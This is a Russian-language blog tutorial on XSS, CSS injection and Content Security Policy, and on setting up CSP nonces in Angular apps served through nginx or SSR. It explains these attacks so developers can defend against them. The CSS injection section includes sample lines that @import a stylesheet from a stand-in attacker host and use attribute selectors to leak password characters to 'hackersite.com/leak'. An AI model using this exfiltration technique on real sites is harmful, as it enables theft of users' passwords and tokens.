Я продолжаю писать статьи по темам, с которыми очень долго разбираюсь в силу определённых обстоятельств. В этот раз я по кусочкам собрал огромный пазл, в котором участвуют и браузер, и фреймворк воедино и хочу разложить эти знания по полочкам, разжевать максимально подробно. Опять же пишу для себя, чтобы, когда всё забудется, а это непременно случится, вернуться сюда и быстро всё вспомнить и если эта статья кому-то поможет — это просто прекрасно. Дополняющим, уточняющим, при этом подробным и понятным комментариям и замечаниям буду только рад
План:
Что такое XSS (Cross-Site Scripting) в общих чертах
Начнём с фундаментов проблемы. Есть такая веб уязвимость XSS (Cross-Site Scripting). Я не буду совсем подробно писать про всевозможные варианты осуществления этой атаки (а XSS это и уязвимость, и вид атаки на веб приложение), опишу вершину айсберга для понимания нашей темы. В общих чертах XSS это внедрение вредоносного кода на HTML-страницу, которую открывает другой пользователь, разными способами.
Расскажу о самом понятном случае (stored XSS): представьте, что у нас есть сайт-форум, он никак не защищён для простоты и какой-то особо одарённый шутник, назовём его «Хакер», вместо текста сообщения вписал в чат <script>ВРЕДОНОСНЫЙ КОД</script>, отправил своё сообщение на сервер, оно сохранилось в БД, затем другой пользователь «Жертва» на этом форуме заходит на эту же страницу и браузер подгружает все сообщения на ней. Что произойдёт, когда браузер дойдёт до сообщения от «Хакера»? Для этого нужно понять откуда у нас вообще появляется страница сайта.
Зайдите на сайт npm, нажмите F12, зайдите во вкладку Network, в фильтрах поставьте «All», чтобы видеть все запросы. Нажмите на самый первый запрос и вы увидите получение читаемой вами страницы. Что в нём особенного? Почему это браузер решил обработать этот ответ на этот запрос именно парсингом и отрисовкой страницы?
В разделе Response headers вы увидите вот такой заголовок,
Content-Type: text/html
который вам прислали с сервера. Я не буду сейчас подробно расписывать какие значения может принимать заголовок Content-Type, это опять же отдельная тема для изучения (бесконечная и вечно забывающаяся). В нашем случае нам важно именно это значение text/html. Именно благодаря этому значению браузер начинает парсить полученный ответ как HTML и пользователь видит страницу сайта. Там целый механизм парсинга, тоже для отдельного изучения, опять же, важен тот факт, что этот процесс означает, что браузер, натыкаясь на теги, соответствующе их обрабатывает и, в нашем случае, когда наткнётся на тэг <script>ВРЕДОНОСНЫЙ КОД</script> просто выполнит его в контексте страницы. А в этом вредоносном коде может быть самая разнообразная пакость. Это и есть один из большого и разнообразного множества типов XSS атак.
Что такое CSS Injection в общих чертах
Другая уязвимость, которую нам важно знать, — это CSS Injection. Опять же, в общих чертах это внедрение вредоносного CSS, отображающегося в браузере у «Жертвы».
Опять же, один из множества примеров, тут чуть сложнее, но погружаться в тонкости не будем: допустим у нас есть приложение, в котором пользователь может менять тему динамически. Приложение получает цвет через URL параметр, например, он может выглядеть вот так someurl.ru?color=yellow, затем, например, создаёт динамически тег <style> и вставляет его в документ таким образом
document.write('<style>body { background-color: ' + color + ' }</style>')
«Хакер» вводит в URL параметр color=random и видит в DevTools -> Elements это самое значение в новосозданном теге:
<style> body { background-color: random; }</style>
Оп-па, можно внедрить туда что-то вредоносное. Кладёт туда, например, @import url(https://hackersite.eu/hacker.css);. Но в таком случае стиль получится таким
<style> body { background-color: @import url(https://hackersite.com/hacker.css); }</style>
и не выполнится, ведь @import невалиден внутри других CSS-правил. Поэтому он пишет код таким образом, чтобы получилось
body { background-color: red; } @import url(https://hackersite.com/hacker.css); body { background-color: red}
Когда «Жертва» получает ссылку с этим параметром (например, в письме) и открывает её, браузер начинает парсить страницу, JavaScript приложения динамически создаёт тег <style>, вставляя туда значение из URL. В этот момент браузер обнаруживает @import и отправляет запрос на сервер Хакера за внешним CSS-файлом.
В этом файле со стилями «Хакер» может использовать технику, известную как CSS Exfiltration (кража данных через CSS). Сам по себе CSS не умеет «читать» ввод с клавиатуры, но он умеет применять стили на основе атрибутов элементов. «Хакер» прописывает правила, которые проверяют содержимое, например, поля логина или скрытого поля с паролем:
input[value^="a"] { background: url(https://hackersite.com/leak?char=a); }input[value^="b"] { background: url(https://hackersite.com/leak?char=b); }/* ... все 62 варианта для первого символа ... */input[value^="aa"] { background: url(https://hackersite.com/leak?char=aa); }input[value^="ab"] { background: url(https://hackersite.com/leak?char=ab); }/* ... все 62×62 вариантов для двух символов ... */
Когда браузер жертвы отрисовывает страницу, он проверяет совпадения: если в поле ввода (или в атрибуте value, куда браузер автоматически вставил сохранённый пароль) есть символ «а», браузер попытается загрузить картинку по указанному URL. Этот запрос уходит на сервер хакера, и тот посимвольно собирает (подбирает) важные данные — например, пароль или токен. Также этот подход отлично сработает при автоматическом заполнении форм, ведь браузер вставляет сохранённый пароль именно в атрибут value.
Есть и другие способы подобной атаки, но для общего понимания хватит и этого примера.
Что такое CSP (Content Security Policy)
CSP это один из защитников от таких атак.
Общими словами
CSP — это свод правил для браузера, диктующие ему можно ли выполнять или загружать ресурсы (скрипты, стили, картинки, шрифты и т.д.) во время парсинга документа или при динамической загрузке. Например, есть в HTML документе <script>КОД</script>. Можно выполнить содержимое или загрузить из src или нет браузер решит исходя из этого свода правил и так по всем ресурсам. Каждый раз, получая новые ресурсы или при динамической их загрузке, когда JS создаёт теги <script> или <style>, браузер будет действовать согласно этим правилам. Если CSP настроен слишком строго или с ошибками, приложение может вообще ничего не загрузить. А если не настроен вовсе — приложение будет уязвимо.
На практике
Если в приложении настроен CSP (а на сайте npm он настроен, можете посмотреть там), то вам должен прийти заголовок Content-Security-Policy в этом же запросе на получение HTML, найдите его в Response Headers.
У этого заголовка есть несколько ключей со значениями, описанными ниже. Что обязательно посмотреть и запомнить:
-
Ключи (их называют «директивами»)
-
script-src
-
style-src
-
default-src
-
-
Значения (их называют «источниками»)
-
‘unsafe-inline’
-
nonce-<значение>
-
остальное добавлено, потому что я перфекционист и для общего развития
Все ключи и их значения заголовка CSP
script-src — выполнение и загрузка скриптов
'none' — запретить все скрипты
'self' — скрипты только со своего домена
<домен> — разрешить скрипты с конкретного домена
'unsafe-inline' — разрешить inline-скрипты и обработчики (onclick, onerror)
'nonce-<значение>' — разрешить только теги <script> с этим nonce
'<hash>' — разрешить скрипт с этим хешем содержимого
'unsafe-eval' — разрешить eval(), new Function(), setTimeout('строка')
'strict-dynamic' — доверять скриптам, загруженным доверенным скриптом
style-src — выполнение и загрузка стилей
'none' — запретить все стили
'self' — стили только со своего домена
<домен> — разрешить стили с конкретного домена
'unsafe-inline' — разрешить <style> и атрибуты style=""
'nonce-<значение>' — разрешить только теги <style> с этим nonce
'<hash>' — разрешить стиль с этим хешем
img-src — откуда загружать картинки
'none' — запретить картинки
'self' — картинки только со своего домена
<домен> — разрешить картинки с конкретного домена
data: — разрешить data-URI (небезопасно)
connect-src — куда можно делать fetch, XHR, WebSocket, EventSource
'none' — запретить все запросы
'self' — запросы только на свой origin
<домен> — разрешить запросы на конкретный домен;
wss: — разрешить WebSocket
font-src — откуда загружать шрифты (@font-face)
'none' — запретить шрифты
'self' — шрифты только со своего домена
<домен> — разрешить шрифты с конкретного домена
frame-src — какие URL можно встраивать в <iframe>
'none' — запретить встраивание
'self' — встраивать только свой origin
<домен> — разрешить встраивание с конкретного домена
media-src — откуда загружать аудио и видео
'none' — запретить медиа
'self' — медиа только со своего домена
<домен> — разрешить медиа с конкретного домена
object-src — откуда загружать плагины (<object>, <embed>)
'none' — запретить плагины (рекомендуется)
'self' — плагины только со своего домена
<домен> — разрешить плагины с конкретного домена
base-uri — какой <base href> можно использовать
'none' — запретить <base>
'self' — разрешить <base> только на свой origin
<домен> — разрешить <base> на конкретный домен
form-action — куда можно отправлять формы
'none' — запретить отправку форм
'self' — формы только на свой origin
<домен> — разрешить отправку на конкретный домен
frame-ancestors — кто может встраивать страницу текущего приложения в <iframe>
'none' — запретить встраивание
'self' — разрешить встраивание только своему сайту
<домен> — разрешить встраивание конкретному домену
sandbox — изоляция страницы по правилам <iframe sandbox>
allow-scripts — разрешить скрипты
allow-forms — разрешить формы
allow-popups — разрешить попапы
без значения-разрешения — блокировать соответствующую возможность
upgrade-insecure-requests — автоматически менять http:// на https://
Значений не принимает — просто указывается имя директивы
report-uri / report-to — Куда отправлять отчёты о нарушениях CSP
<URL> — отправлять отчёты на этот URL
<имя_группы> — отправлять в группу изReporting-Endpoints
default-src — резервная директива для всех fetch-директив
Смысл в том, что если у вас не указаны fetch директивы, те, что загружают какие-либо ресурсы, например script-src или img-src, то значения для них будет браться из этого ключа
'none' — запретить всё по умолчанию
'self' — разрешить только свой origin по умолчанию
<домен> — разрешить конкретный домен по умолчанию
И, небольшой, простенький пример, просто для понимания работы этих правил. Возьмём script-src, установим ему значение 'self' . Теперь на странице будут выполняться только скрипты с текущего origin. Вот такой <script src="/js/app.js"></script> выполнится, а такой <script src="https://somesite.com/lib.js"></script> уже нет, ведь он с другого домена.
Inline-код и ‘unsafe-inline’
Для понимания темы данной статьи нужно знать что такое inline-код. Я выделил это в отдельный заголовок, хотя тут немного рассказывать.
Inline-код это размещение скриптов и стилей прямо в HTML. Например
<!DOCTYPE html><html> <head> <title>Пример инлайн кода</title> <!-- Это инлайн стиль --> <style> body { background: #f0f0f0; font-family: sans-serif; } h1 { color: darkblue; } </style> </head> <body> <p style="color: red;">Это инлайн-атрибут</p> <button onclick="alert('Щёлк')">Это инлайн обработчик</button> <!-- Это инлайн скрипт --> <script> console.log('Это inline-скрипт выполнился'); </script> </body></html>
Возможно, вы заметили, что одно из значений, которые принимают script-src и style-src это 'unsafe-inline'. При подобной настройке мы разрешаем подобный инлайн-код, что открывает огромную дыру в безопасности приложения и XSS атака будет успешной. Пример подобной атаки я привёл выше, это тот самый <script>ВРЕДОНОСНЫЙ КОД</script> , являющийся-инлайн скриптом. Браузер его выполнит если CSP не настроен или если CSP будет настроен в классическом стиле
Content-Security-Policy: script-src 'self' 'unsafe-inline';
А что такое nonce-<значение>?
Устанавливая значение для ключей nonce-<значение>, где <значение> это закодированная в Base64 строка, мы разрешаем браузеру выполнять только те скрипты и стили, у которых стоит этот атрибут. Для примера выглядит он так:
<script nonce="8IBTHwOdqNKAWeKl7plt8g=="> ТУТ КАКОЙ-ТО КОД</script>
Кстати, <значение> должно быть уникальным при каждом запросе и генерироваться на сервере, иначе смысл в нём совсем пропадает, ведь если nonce будет одинаковым (статичным), «Хакер» сможет его подсмотреть и использовать в своём внедрённом скрипте, защита перестанет работать.
Конфликт Angular и CSP
ДЕСЕРТИК!
Наконец, для чего писалось всё вышесказанное. Первое, что нужно сказать: XSS-атака в чистом Angular невозможна, даже без настроек CSP, ведь наш любимый фреймворк по умолчанию экранирует все интерполированные значения, превращая их в текст, и использует встроенный санитайзер для случаев, когда HTML вставляется принудительно, например, через [innerHTML], вычищая из него теги <script>, обработчики onclick и прочее. В нашем примере с форумом, если приложение написано с помощью Angular, строчка <script>ВРЕДОНОСНЫЙ КОД</script> будет интерпретирована как строка, а не как тег с содержимым. Таким образом, веб-приложение прекрасно защищено, если только разработчик сам не нарушает настройки безопасности путём использования некоторых методов DomSanitizer, таких как
-
bypassSecurityTrustHtml -
bypassSecurityTrustStyle -
bypassSecurityTrustScript -
bypassSecurityTrustUrl -
bypassSecurityTrustResourceUrl
которые отключат защиту.
Но вот мы с вами настроили CSP, а его стоит настраивать даже в случае с использованием Angular, ведь дыры в безопасности приложения всё равно могут быть (использование сторонних библиотек, дыры в самом фреймворке), например, вот так
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'
и у нашего приложения полетели все стили. Всё потому, что Angular под капотом активно создаёт и вставляет инлайн-стили прямо в DOM. Браузер видит эти теги <style> без nonce, CSP их блокирует — и приложение остаётся без оформления. Именно по этой причине возникает конфликт CSP и работы Angular-приложения.
Как подружить Angular и CSP
Дыры в безопасности постоянно латаются, а новые атаки продолжают появляться, это процесс постоянный. Но вот основные способы подружить CSP и Angular:
unsafe-inline
Максимально топорный способ, конечно, — присвоить значение unsafe-inline для style-src и пробить дыру в безопасности, ведь CSP для инлайн стилей этим действием просто отключается и приложение становится уязвимым к CSS Injection. Это компромиссный способ, который используется в приложениях. Чтобы сделать эту дыру чуть меньше — нужно:
-
Не использовать bypassSecurityTrust***, ведь это правило отключает фильтр вставляемого кода
-
Проставить строгие значения для ключей
script-src,img-src,font-srcиconnect-src, это резко сузит уязвимость
Уязвимость в любом случае будет существовать, но не такая сильная. Как я уже сказал, это компромисс.
Использование nonce
Это самый правильный и достаточно надёжный способ, для которого нужен сервер. В Angular есть два пути использования этого способа:
-
ngCspNonce атрибут для тега <app-root>
Если у вас используется веб-сервер, например, nginx, то можно проставить атрибут ngCspNonce на ваш app-root
<app-root ngCspNonce="__CSP_NONCE__"></app-root>и напрягайте своих девопсеров, пусть они настроят его для генераций случайных nonce значений, которое будет вставляться с помощью модуля sub_filter в плейсхолдер при каждом новом входе в приложение и получении index.html. А потом Angular всё сделает за вас, так как в него встроен функционал вставки этого значения в атрибуты динамически встроенных
<style>и<script>Если вы используете SSR — можно проставлять его там, но лучше использовать способ с CSP_NONCE токеном, который описан в пункте 2. Это не даст столкнуться с потенциальными проблемами и Angular официально рекомендует его.
Тонкости использования ngCspNonce
-
PWA. Подробно останавливаться на этом пункте не будем — для понимания достаточно одного нюанса. Использовать
nonce-<значение>вместе с Angular Service Worker не получится. При сборке Angular CLI записывает хешindex.htmlв манифестngsw.json. Когда Service Worker устанавливается или проверяет обновления, он скачиваетindex.htmlпо сети и сравнивает его хеш с тем, что записан в манифесте. Но Nginx подставляет новый nonce при каждой загрузкеindex.html, поэтому содержимое файла (а значит, и его хеш) не совпадает с зафиксированным при сборке. Service Worker обнаруживает несовпадение и отказывается кэшироватьindex.html— при переходе в офлайн ему просто нечего отдать.Обойти это можно, запретив кэширование
index.htmlна уровне Nginx и исключив его изngsw-config.json(конфигурационный файл PWA). Но тогда приложение не сможет обеспечить полную офлайн-загрузку —index.htmlне будет доступен без сети. Если тема PWA вам незнакома, рекомендую изучить её отдельно. -
Если для index.html включён
gzip_static, Nginx отдаст заранее сжатыйindex.html.gz, сжатый на этапе сборки, а модульsub_filter, который подставляет nonce, не может заглянуть внутрь сжатого файла, поэтому замена плейсхолдера__CSP_NONCE__не происходит вообще.Единственное решение — отключить gzip_static для index.html и включить
gzip on, чтобы сжатие происходило в nginx перед отправкой index.html -
Сторонние библиотеки не получают атрибут ngCspNonce,
<style>и<script>будут заблокированы политикойРешение: проверить поддерживает ли библиотека передачу nonce, либо использовать костыли (как же без них), средствами angular или javascript проставлять атрибуты nonce вручную, например так
this.renderer.setAttribute(script, 'nonce', 'ваше-значение-nonce');
-
-
CSP_NONCE токен
Помимо атрибута
ngCspNonce, Angular предоставляет DI-токенCSP_NONCEproviders: [{ provide: CSP_NONCE, useValue: nonce }]В архитектуре со статическим
index.htmlи Nginx этот способ не имеет смысла, ведь веб-сервер просто не может создать провайдер в коде. Он пригодится в приложениях, использующих SSR или когда nonce передаётся клиенту через Cookie/API — но это отдельная тема, выходящая за рамки данной главыТонкости использования CSP_NONCE
-
Если вы по какой-то причине используете одновременно и
ngCspNonceиCSP_NONCE, то токен имеет приоритет перед атрибутом и его значение будет перекрывать атрибутное -
Angular в продакшн сборке, при включённом параметре
inlineCritical: true, вставляет на этапе сборки так называемый «критический CSS», минимальный необходимый набор стилей. Это нужно затем, что CSS является блокирующим фактором для отрисовки страницы: пока браузер не загрузит CSSOM мы будем видеть белый экран. Angular решает эту проблему путём асинхронной загрузки побочных стилей, при этом быстро отрисовывая начальную страницу. Проблема только в том, что критический CSS встраивается вindex.htmlна этапе сборки, когда значенияCSP_NONCEещё не существует (оно появляется только в рантайме, при каждом запросе). Поэтому этот CSS остаётся безnonceи блокируется политикой безопасности.Единственное решение — отключить этот параметр в
angular.json(inlineCritical: false). Здесь мы немного теряем в производительности, но без компромиссов не обойтись. -
CSP_NONCEне обновляется после старта приложения: его получают один раз и работают с ним -
При использовании SSR
CSP_NONCEимеет смысл только для страниц, которые рендерятся на сервере при каждом запросе (режимRenderMode.Server). Для пререндеренных страниц (режимRenderMode.Prerender) HTML генерируется на этапе сборки, поэтому сгенерировать уникальный nonce под каждый запрос в этом случае невозможно
-
Заключение
Надеюсь, статья получилось интересной, полезной и, самое главное, понятной
ссылка на оригинал статьи https://habr.com/ru/articles/1103464/